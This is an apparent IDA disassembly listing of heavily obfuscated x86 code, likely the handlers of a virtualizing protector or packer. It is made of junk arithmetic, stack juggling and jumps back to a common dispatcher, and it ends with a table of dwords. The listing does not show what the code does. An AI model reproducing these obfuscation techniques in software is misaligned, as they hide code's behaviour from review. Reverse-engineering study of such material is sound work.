loc_57D3BD:				; CODE XREF: ud2_____:0057AB47j
		mov	edi, 25EA2D76h
		and	ebx, edi
		pop	edi
		not	ebx
		add	ebx, 24002D33h
		sub	edi, 415C6D1Eh
		add	edi, ebx
		add	edi, 415C6D1Eh
		jmp	loc_578FDE
; ---------------------------------------------------------------------------


loc_57D3E0:				; CODE XREF: ud2_____:005737E9j
		mov	ebp, 3A65AB49h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5739D6
; ---------------------------------------------------------------------------


loc_57D3ED:				; CODE XREF: ud2_____:0057AB0Bj
		add	ebx, ecx
		pop	ecx
		push	edx
		push	eax
		jmp	loc_57338E
; ---------------------------------------------------------------------------


loc_57D3F7:				; CODE XREF: ud2_____:0057A3D2j
		push	edi
		push	509003B1h
		jmp	loc_577CAD
; ---------------------------------------------------------------------------


loc_57D402:				; CODE XREF: ud2_____:00575D57j
		push	ebp
		mov	ebp, 51233826h
		xor	ebp, 58D062A4h
		dec	ebp
		sub	ebp, 0AED210FAh
		jmp	loc_579518
; ---------------------------------------------------------------------------


loc_57D41A:				; CODE XREF: ud2_____:0057574Bj
		mov	ebp, 6435478h
		jmp	loc_57AD17
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		jmp	loc_5776DF
; ---------------------------------------------------------------------------


loc_57D42E:				; CODE XREF: ud2_____:00579D2Ej
		mov	edx, [esp]
		jmp	loc_579983
; ---------------------------------------------------------------------------


loc_57D436:				; CODE XREF: ud2_____:00578ABAj
		pop	eax
		push	edi
		push	35C57C3Ch
		pop	edi
		sub	edi, 35C57C38h
		add	eax, edi
		pop	edi
		jmp	loc_57929E
; ---------------------------------------------------------------------------


loc_57D44C:				; CODE XREF: ud2_____:00577995j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57D31D
; ---------------------------------------------------------------------------


loc_57D458:				; CODE XREF: ud2_____:0057CF8Cj
		mov	ecx, 7C6A300Bh
		and	ecx, 7C6A08C2h
		shr	ecx, 4
		jmp	loc_57AE45
; ---------------------------------------------------------------------------


loc_57D46B:				; CODE XREF: ud2_____:0057363Aj
		push	esi
		jmp	loc_576D2C
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 79E15B3Eh
		add	eax, ebx
		sub	esp, 4
		jmp	loc_574C9B
; ---------------------------------------------------------------------------


loc_57D481:				; CODE XREF: ud2_____:005741A1j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 56E82445h
		push	eax
		mov	eax, 39A03FACh
		sub	ebx, 5D33447Fh
		jmp	loc_57AB77
; ---------------------------------------------------------------------------


loc_57D49D:				; CODE XREF: ud2_____:00573F01j
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_572082
; ---------------------------------------------------------------------------


loc_57D4AD:				; CODE XREF: ud2_____:0057AE11j
		pop	ecx
		jmp	loc_571E70
; ---------------------------------------------------------------------------


loc_57D4B3:				; CODE XREF: ud2_____:00576959j
		pop	esp
		jmp	loc_57617F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5772F3
; ---------------------------------------------------------------------------


loc_57D4C7:				; CODE XREF: ud2_____:005772E6j
		add	eax, ebx
		pop	ebx
		sub	eax, 2AB00CAFh
		add	eax, 29E628B9h
		sub	eax, esi
		sub	eax, 29E628B9h
		add	eax, 2AB00CAFh
		sub	eax, 34ED191Dh
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2B334C9Eh
		jmp	loc_57DBCF
; ---------------------------------------------------------------------------


loc_57D4F6:				; CODE XREF: ud2_____:0057B57Aj
		shr	ebx, 8
		inc	ebx
		push	ebp
		mov	ebp, 6BEA11CBh
		neg	ebp
		push	ecx
		mov	ecx, 5A525122h
		jmp	loc_573F81
; ---------------------------------------------------------------------------


loc_57D50D:				; CODE XREF: ud2_____:00577E59j
		add	esi, 0A36588Ah
		jmp	loc_57C7DC
; ---------------------------------------------------------------------------


loc_57D518:				; CODE XREF: ud2_____:0057D90Aj
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edx
		jmp	loc_5743FC
; ---------------------------------------------------------------------------


loc_57D52B:				; CODE XREF: ud2_____:00573640j
		mov	bh, 9Ch
		sub	bh, 7Bh
		inc	bh
		add	bh, 7Fh
		jmp	loc_5784D6
; ---------------------------------------------------------------------------


loc_57D53A:				; CODE XREF: ud2_____:00571B7Ej
		add	esp, 4
		jmp	loc_57531D
; ---------------------------------------------------------------------------


loc_57D542:				; CODE XREF: ud2_____:00573F8Cj
		mov	esi, 736822A9h
		not	esi
		dec	esi
		push	ebx
		mov	ebx, 0D40F30h
		and	esi, ebx
		pop	ebx
		jmp	loc_576FDE
; ---------------------------------------------------------------------------


loc_57D558:				; CODE XREF: ud2_____:0057251Ej
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	5980h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_57B1A9
; ---------------------------------------------------------------------------


loc_57D57D:				; CODE XREF: ud2_____:005779E0j
		mov	[esp], esi
		mov	esi, 4DF2177Eh
		jmp	loc_57B49A
; ---------------------------------------------------------------------------

locret_57D58A:				; CODE XREF: ud2_____:0057CB31j
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	7823h
		mov	[esp], esi
		jmp	loc_577833
; ---------------------------------------------------------------------------


loc_57D59B:				; CODE XREF: ud2_____:00572FD6j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	2FF8h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp


loc_57D5C9:				; CODE XREF: ud2_____:loc_575832j
		push	ebx
		sub	dword ptr [esp], 3D1C62EAh
		jmp	loc_57901A
; ---------------------------------------------------------------------------


loc_57D5D6:				; CODE XREF: ud2_____:0057AB2Fj
		add	esp, 4
		pop	dword ptr [esp]
		xchg	eax, ebx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5778B4
; ---------------------------------------------------------------------------


loc_57D60D:				; CODE XREF: ud2_____:00573D55j
		push	0
		sub	[esp], cl
		mov	cl, [esp]
		push	edx
		jmp	loc_57282C
; ---------------------------------------------------------------------------


loc_57D61E:				; CODE XREF: ud2_____:00577C4Aj
		add	ebx, eax
		jmp	loc_571E42
; ---------------------------------------------------------------------------


loc_57D625:				; CODE XREF: ud2_____:0057C60Aj
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [edi+24h]
		jmp	loc_57C25D
; ---------------------------------------------------------------------------


loc_57D631:				; CODE XREF: ud2_____:0057448Aj
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_577A94
; ---------------------------------------------------------------------------


loc_57D63D:				; CODE XREF: ud2_____:005779C5j
		neg	esi
		shr	esi, 4
		and	esi, 13E44DB8h
		sub	esi, 2C441A4h
		jmp	loc_57C836
; ---------------------------------------------------------------------------


loc_57D653:				; CODE XREF: ud2_____:005738AFj
		pop	eax
		push	esi
		mov	esi, 0DFB5241Ch
		jmp	loc_57D8B3
; ---------------------------------------------------------------------------


loc_57D65F:				; CODE XREF: ud2_____:00577F0Ej
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_574994
; ---------------------------------------------------------------------------


loc_57D66B:				; CODE XREF: ud2_____:0057CD72j
		xor	eax, ebx
		pop	ebx
		jmp	loc_572B0E
; ---------------------------------------------------------------------------


loc_57D673:				; CODE XREF: ud2_____:0057C3EAj
		not	ebx
		sub	ebx, 39101BF3h
		xor	ebx, 7B8AAF9h
		mov	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0F720A32h
		sub	ebx, 0A7EAAADEh
		jmp	loc_57DAC3
; ---------------------------------------------------------------------------


loc_57D695:				; CODE XREF: ud2_____:0057BB2Ej
		inc	cl
		xor	cl, 0F1h
		add	al, cl
		push	dword ptr [esp]
		jmp	loc_57BE41
; ---------------------------------------------------------------------------


loc_57D6A4:				; CODE XREF: ud2_____:005743B5j
		add	esp, 4
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_572139
; ---------------------------------------------------------------------------


loc_57D6BB:				; CODE XREF: ud2_____:00573980j
		pop	ax
		jmp	loc_5732D7
; ---------------------------------------------------------------------------


loc_57D6C2:				; CODE XREF: ud2_____:00579015j
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5782E9
; ---------------------------------------------------------------------------


loc_57D6D3:				; CODE XREF: ud2_____:00574FF7j
		xchg	edx, [esp]
		pop	esp
		add	edi, 4
		push	69C1h
		mov	[esp], ebp
		jmp	loc_57A844
; ---------------------------------------------------------------------------


loc_57D6EA:				; CODE XREF: ud2_____:00578F93j
		mov	al, 0D6h
		sub	esp, 4
		jmp	loc_57786F
; ---------------------------------------------------------------------------


loc_57D6F4:				; CODE XREF: ud2_____:00576A9Dj
		add	ecx, 3BDB4E2Fh
		xor	ecx, 3E3E6C3Ah
		or	ecx, 849474Dh
		dec	ecx
		xor	ecx, 2CC20F50h
		jmp	loc_57AB58
; ---------------------------------------------------------------------------


loc_57D712:				; CODE XREF: ud2_____:0057BFBCj
		mov	[esp], ecx
		push	ebx
		push	257A5943h
		pop	ebx
		not	ebx
		jmp	loc_57742E
; ---------------------------------------------------------------------------


loc_57D723:				; CODE XREF: ud2_____:0057C972j
		dec	edx
		sub	edx, 3DB446ACh
		sub	edx, 0B3E1BE4Eh
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_576C3A
; ---------------------------------------------------------------------------


loc_57D73A:				; CODE XREF: ud2_____:00572675j
		add	esp, 2
		add	bl, 1Dh
		add	bl, al
		sub	bl, 1Dh
		sub	bl, 2Eh
		push	0DCFh
		jmp	loc_579689
; ---------------------------------------------------------------------------


loc_57D755:				; CODE XREF: ud2_____:00573EBBj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	6053h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5790A9
; ---------------------------------------------------------------------------


loc_57D777:				; CODE XREF: ud2_____:0057C114j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57493F
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_57CA4B
; ---------------------------------------------------------------------------


loc_57D78B:				; CODE XREF: ud2_____:00573882j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57D7AB:				; CODE XREF: ud2_____:005785D1j
		push	ecx
		mov	ecx, 8731204h
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 64A21163h
		add	edi, ebp
		add	edi, 64A21163h
		pop	ebp
		add	edi, 4
		jmp	loc_5741DC
; ---------------------------------------------------------------------------


loc_57D7D3:				; CODE XREF: ud2_____:00573951j
		mov	ebp, 51D80D38h
		sub	edi, ebp
		pop	ebp
		add	edi, ecx
		add	edi, 51D80D38h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	7D90h
		mov	[esp], eax
		jmp	loc_57D2AC
; ---------------------------------------------------------------------------


loc_57D7FE:				; CODE XREF: ud2_____:0057B94Bj
		push	edx
		mov	dh, 5
		jmp	loc_57DBB7
; ---------------------------------------------------------------------------


loc_57D806:				; CODE XREF: ud2_____:00571E6Bj
		pop	esp
		jmp	loc_578A72
; ---------------------------------------------------------------------------


loc_57D80C:				; CODE XREF: ud2_____:00572250j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_57BE92
; ---------------------------------------------------------------------------


loc_57D81B:				; CODE XREF: ud2_____:0057B755j
		dec	edx
		not	edx
		and	edx, 207E48DBh
		sub	edx, 0FFFFFFFFh
		xor	edx, 6A880C3Eh
		add	eax, edx
		jmp	loc_573CF1
; ---------------------------------------------------------------------------


loc_57D837:				; CODE XREF: ud2_____:00578D92j
		xchg	esi, [esp]
		pop	esp
		sub	eax, edi
		pop	edi
		add	ebx, 6E4C3C2Dh
		jmp	loc_579C9A
; ---------------------------------------------------------------------------


loc_57D849:				; CODE XREF: ud2_____:0057C9DBj
		sub	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		pop	ecx
		pop	edi
		rep movsd
		add	esp, [edx+38h]
		push	5E38h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5BF1D69h
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, 6B757431h
		xchg	eax, ebx
		jmp	loc_57854B
; ---------------------------------------------------------------------------


loc_57D882:				; CODE XREF: ud2_____:0057D383j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5731AA
; ---------------------------------------------------------------------------


loc_57D8A2:				; CODE XREF: ud2_____:00574FB6j
		jz	loc_57C269
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_571E4D
; ---------------------------------------------------------------------------


loc_57D8B3:				; CODE XREF: ud2_____:0057D65Aj
		add	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57D8C8:				; CODE XREF: ud2_____:0057B49Cj
		pop	esi
		sub	edi, 27024136h
		jmp	loc_57A487
; ---------------------------------------------------------------------------


loc_57D8D4:				; CODE XREF: ud2_____:0057B1FFj
		mov	edx, [esp]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_5742E4
; ---------------------------------------------------------------------------


loc_57D8F7:				; CODE XREF: ud2_____:00577003j
		add	esi, edx
		pop	edx
		sub	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_57D518
; ---------------------------------------------------------------------------


loc_57D90F:				; CODE XREF: ud2_____:00573F5Ej
		xchg	ebp, [esp]
		jmp	loc_573EAD
; ---------------------------------------------------------------------------


loc_57D917:				; CODE XREF: ud2_____:0057B634j
		pop	ecx
		jmp	loc_57BF55
; ---------------------------------------------------------------------------


loc_57D91D:				; CODE XREF: ud2_____:0057D26Ej
		mov	[esp], edi
		jmp	loc_57CC68
; ---------------------------------------------------------------------------


loc_57D925:				; CODE XREF: ud2_____:00573A00j
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_578412
; ---------------------------------------------------------------------------
		push	2099h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	edi, 759D7799h
		jmp	loc_574107
; ---------------------------------------------------------------------------


loc_57D966:				; CODE XREF: ud2_____:00577A5Dj
		shr	ebp, 7
		dec	ebp
		jmp	loc_57DC88
; ---------------------------------------------------------------------------


loc_57D96F:				; CODE XREF: ud2_____:005735A4j
		push	eax
		pop	esi
		pop	eax
		jmp	loc_57BD79
; ---------------------------------------------------------------------------


loc_57D977:				; CODE XREF: ud2_____:005749CAj
		push	edx
		jmp	loc_575D80
; ---------------------------------------------------------------------------


loc_57D97D:				; CODE XREF: ud2_____:0057AFB1j
		pop	esi
		add	eax, ebp
		pop	ebp
		add	eax, ebp
		sub	eax, 2F2D03F8h
		jmp	loc_5726E1
; ---------------------------------------------------------------------------


loc_57D98D:				; CODE XREF: ud2_____:0057B0C2j
		push	ebx
		mov	bl, 0F0h
		shr	bl, 6
		jmp	loc_57B6E2
; ---------------------------------------------------------------------------


loc_57D998:				; CODE XREF: ud2_____:0057A081j
		dec	ebx
		shl	ebx, 3
		or	ebx, 2B343A47h
		jmp	loc_57740A
; ---------------------------------------------------------------------------


loc_57D9A7:				; CODE XREF: ud2_____:0057CD87j
		shr	ecx, 3
		push	ebp
		jmp	loc_57C5B6
; ---------------------------------------------------------------------------


loc_57D9B0:				; CODE XREF: ud2_____:005795A1j
		mov	dx, [esp]
		jmp	loc_5797CE
; ---------------------------------------------------------------------------


loc_57D9B9:				; CODE XREF: ud2_____:00576A4Ej
		dec	edx
		shr	edx, 8
		push	ebp
		mov	ebp, 2508343Bh
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 776F3763h
		add	edi, 744532CBh
		add	edi, 10FF0DF5h
		xor	edi, 5A112932h
		jmp	loc_579F75
; ---------------------------------------------------------------------------


loc_57D9E3:				; CODE XREF: ud2_____:0057434Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_579578
; ---------------------------------------------------------------------------


loc_57D9F4:				; CODE XREF: ud2_____:00572044j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_57A207
; ---------------------------------------------------------------------------


loc_57DA04:				; CODE XREF: ud2_____:00575DA6j
		mov	eax, esp
		push	ecx
		mov	ecx, 493F370Ah
		neg	ecx
		jmp	loc_57CA1D
; ---------------------------------------------------------------------------


loc_57DA13:				; CODE XREF: ud2_____:00577A7Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_572FDB
; ---------------------------------------------------------------------------


loc_57DA24:				; CODE XREF: ud2_____:005726BFj
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, 5AB90B44h
		neg	ebx
		jmp	loc_574D81
; ---------------------------------------------------------------------------


loc_57DA3A:				; CODE XREF: ud2_____:005725E3j
		pop	esi
		shl	esi, 1
		shr	esi, 2
		add	esi, 54909A4Eh
		jmp	loc_5747B7
; ---------------------------------------------------------------------------


loc_57DA4B:				; CODE XREF: ud2_____:00574C45j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57C170
; ---------------------------------------------------------------------------


loc_57DA83:				; CODE XREF: ud2_____:00576D70j
		mov	eax, 187475CEh
		dec	eax
		jmp	loc_573655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57DA8E:				; CODE XREF: sub_59C59F-22BF7j
		or	bh, 3Fh
		xor	bh, 3Ch
		push	eax
		mov	al, 7Fh
		add	bh, 42h
		jmp	loc_579F45
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57DA9F:				; CODE XREF: ud2_____:00571E31j
		push	5406h
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5761C8
; ---------------------------------------------------------------------------


loc_57DAC3:				; CODE XREF: ud2_____:0057D690j
		sub	edx, 767D7998h
		sub	edx, ebx
		add	edx, 767D7998h
		pop	ebx
		sub	edx, 7D40699Eh
		jmp	loc_576226
; ---------------------------------------------------------------------------


loc_57DADD:				; CODE XREF: ud2_____:0057D156j
		pop	ebx
		mov	al, ch
		pop	ecx
		mov	cl, al
		jmp	loc_57823D
; ---------------------------------------------------------------------------


loc_57DAE8:				; CODE XREF: ud2_____:0057378Ej
		pop	ebp
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_574A0F
; ---------------------------------------------------------------------------


loc_57DAF4:				; CODE XREF: ud2_____:005784B7j
		shr	ebp, 2
		push	esi
		jmp	loc_574528
; ---------------------------------------------------------------------------


loc_57DAFD:				; CODE XREF: ud2_____:00579AEEj
		sub	edx, 18495310h
		jmp	loc_57A9AF
; ---------------------------------------------------------------------------


loc_57DB08:				; CODE XREF: ud2_____:0057CFAAj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5729DB
; ---------------------------------------------------------------------------


loc_57DB17:				; CODE XREF: ud2_____:0057D342j
		mov	esp, [esp]
		jmp	loc_576AE3
; ---------------------------------------------------------------------------


loc_57DB1F:				; CODE XREF: ud2_____:00579EDBj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_579B8B
; ---------------------------------------------------------------------------


loc_57DB40:				; CODE XREF: ud2_____:00573730j
		xor	ebp, edx
		pop	edx
		mov	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5786D9
; ---------------------------------------------------------------------------


loc_57DB50:				; CODE XREF: ud2_____:00579E77j
		mov	ebp, 4D9B10D4h
		shr	ebp, 2
		shl	ebp, 2
		jmp	loc_5755E0
; ---------------------------------------------------------------------------


loc_57DB60:				; CODE XREF: ud2_____:00577919j
		add	ecx, edi
		jmp	loc_5769DE
; ---------------------------------------------------------------------------


loc_57DB67:				; CODE XREF: ud2_____:00576781j
		push	558Dh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_572D00
; ---------------------------------------------------------------------------


loc_57DB80:				; CODE XREF: ud2_____:00572609j
		add	esp, 4
		xor	edi, 0DC27EB3Dh
		sub	eax, edi
		pop	edi
		push	edi
		mov	edi, 8A02B77h
		sub	edi, 0C63F1383h
		sub	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_57A73D
; ---------------------------------------------------------------------------


loc_57DBAC:				; CODE XREF: ud2_____:00575AE7j
		shr	ch, 7
		push	edx
		mov	dh, 42h
		jmp	loc_57CE11
; ---------------------------------------------------------------------------


loc_57DBB7:				; CODE XREF: ud2_____:0057D801j
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 73h
		jmp	loc_578E1E
; ---------------------------------------------------------------------------


loc_57DBC5:				; CODE XREF: ud2_____:0057CF9Bj
		push	2000h
		jmp	loc_57C3B9
; ---------------------------------------------------------------------------


loc_57DBCF:				; CODE XREF: ud2_____:0057D4F1j
		xchg	esi, edx
		push	esi
		not	dword ptr [esp]
		jmp	loc_576AA2
; ---------------------------------------------------------------------------
		push	444h
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_5783F3
; ---------------------------------------------------------------------------


loc_57DBEA:				; CODE XREF: ud2_____:00577789j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57D199
; ---------------------------------------------------------------------------


loc_57DBF7:				; CODE XREF: ud2_____:0057CC04j
		mov	dh, bl
		pop	ebx
		pop	ecx
		push	dx
		mov	dh, 0BBh
		sub	bl, dh
		pop	dx
		jmp	loc_57838E
; ---------------------------------------------------------------------------


loc_57DC08:				; CODE XREF: ud2_____:0057C4EBj
		pop	ebp
		jmp	loc_57A8D0
; ---------------------------------------------------------------------------


loc_57DC0E:				; CODE XREF: ud2_____:005785B9j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
		lodsb
		push	4785h
		mov	[esp], edx
		mov	dh, 0BBh
		push	bx
		mov	bl, 86h
		sub	al, 70h
		add	al, bl
		add	al, 70h
		jmp	loc_57657B
; ---------------------------------------------------------------------------


loc_57DC34:				; CODE XREF: ud2_____:00575A58j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_576A02
; ---------------------------------------------------------------------------


loc_57DC42:				; CODE XREF: ud2_____:00573BA9j
		xor	edi, 3BE2B6B0h
		add	esi, 5F60EF5h
		add	esi, edi
		jmp	loc_57D3AF
; ---------------------------------------------------------------------------


loc_57DC55:				; CODE XREF: ud2_____:0057B9DFj
		push	ebp
		mov	ebp, eax
		push	ebp
		xor	dword ptr [esp], 1946701Fh
		pop	edi
		xor	edi, 1946701Fh
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_578170
; ---------------------------------------------------------------------------


loc_57DC75:				; CODE XREF: ud2_____:0057C010j
		add	al, 0AEh
		jmp	loc_5758B2
; ---------------------------------------------------------------------------


loc_57DC7C:				; CODE XREF: ud2_____:0057513Cj
		pop	edx
		push	edx
		mov	edx, 4
		jmp	loc_57458F
; ---------------------------------------------------------------------------


loc_57DC88:				; CODE XREF: ud2_____:0057D96Aj
		add	ebp, 6FDB0CD7h
		add	ebp, 0FF06F9h
		dec	ebp
		jmp	loc_5765B8
; ---------------------------------------------------------------------------


loc_57DC9A:				; CODE XREF: ud2_____:005794E9j
		push	422C5CE7h
		pop	eax
		shr	eax, 1
		jmp	loc_57B74B
; ---------------------------------------------------------------------------


loc_57DCA7:				; CODE XREF: ud2_____:0057C82Bj
		sub	ebp, 38F600CBh
		shl	ebp, 1
		add	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 364420A5h
		inc	edx
		not	edx
		dec	edx
		shr	edx, 7
		add	edx, 36F7D6A7h
		jmp	loc_57229C
; ---------------------------------------------------------------------------


loc_57DCCD:				; CODE XREF: ud2_____:00575672j
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		push	0DA9h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_579C8C
; ---------------------------------------------------------------------------


loc_57DCEF:				; CODE XREF: ud2_____:00578E27j
		push	eax
		push	ecx
		mov	ch, 3Fh
		jmp	loc_57B04F
; ---------------------------------------------------------------------------


loc_57DCF8:				; CODE XREF: ud2_____:0057C4BEj
		mov	edi, 4
		jmp	loc_577DAE
; ---------------------------------------------------------------------------


loc_57DD02:				; CODE XREF: ud2_____:00575695j
		div	ecx
		push	693Bh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57DD13:				; CODE XREF: ud2_____:0057805Bj
		inc	edi
		add	edi, 8E4168F3h
		add	eax, edi
		pop	edi
		sub	eax, 0FAD655Dh
		sub	eax, 58601AEEh
		sub	eax, ebx
		add	eax, 58601AEEh
		add	eax, 0FAD655Dh
		sub	eax, 39A518B6h
		sub	eax, 305A6CBAh
		add	eax, 2F697B9Eh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57B1BB
; ---------------------------------------------------------------------------


loc_57DD4D:				; CODE XREF: ud2_____:0057BC09j
		push	edi
		jmp	loc_577BF4
; ---------------------------------------------------------------------------
		align 4
		dd 10h dup(0)
		dd 1A000000h, 9905D26Fh, 0FF05D34Fh, 6405D286h,	9005D2C6h
		dd 0A905D36Dh, 6705D370h, 3C05D354h, 0A705D33Fh, 6605D271h
		dd 0FF05D275h, 7005D2B1h, 6C05D33Ah, 3905D2A6h,	3A05D371h
		dd 0FE05D345h, 6405D2ADh, 0AC05D391h, 0FC05D2F7h, 3705D35Ch
		dd 0BE05D336h, 8C05D38Fh, 3205D35Ch, 2905D308h,	5405D353h
		dd 4205D310h, 1D05D282h, 7305D2ADh, 2505D309h, 6505D356h
		dd 1105D2D7h, 3D05D2F4h, 405D2A8h, 8D05D2EFh, 6905D337h
		dd 5E05D27Bh, 6405D34Bh, 5705D2C0h, 0A405D29Ch,	9A05D31Fh
		dd 0E205D327h, 0C05D2A4h, 4D05D35Ah, 7B05D31Ch,	5305D32Bh
		dd 0FB05D320h, 5405D24Bh, 0EF05D2B2h, 3905D275h, 3205D285h
		dd 4905D281h, 2B05D2D6h, 1305D35Ah, 0BE05D311h,	3505D265h
		dd 3F05D367h, 1405D2E3h, 0DF05D24Ch, 6605D323h,	0B005D33Fh
		dd 5E05D33Eh, 7B05D25Eh, 0B505D2D6h, 0E905D2B5h, 2A05D244h
		dd 4505D369h, 0EB05D251h, 7105D2E9h, 0FA05D276h, 0D005D2D4h
		dd 0B305D257h, 7405D2A8h, 9B05D2FBh, 2D05D35Bh,	2005D252h
		dd 805D2E2h, 3405D2BAh,	6905D2CBh, 0EB05D302h, 0C305D2D4h
		dd 0D05D2B1h, 6C05D249h, 0C105D2B3h, 0EE05D2CFh, 0F705D354h
		dd 0CF05D381h, 9005D2A1h, 8405D296h, 6005D2C7h,	2605D276h
		dd 5005D280h, 3705D371h, 3E05D2C4h, 1205D270h, 9405D362h
		dd 0B405D27Ah, 4A05D2CFh, 0BA05D2DBh, 0E805D328h, 6C05D2AFh
		dd 0D205D2BBh, 0CF05D2D8h, 805D243h, 0A505D2C0h, 2605D2D3h
		dd 2605D346h, 8D05D29Ch, 0D605D38Bh, 1C05D2C8h,	5B05D305h
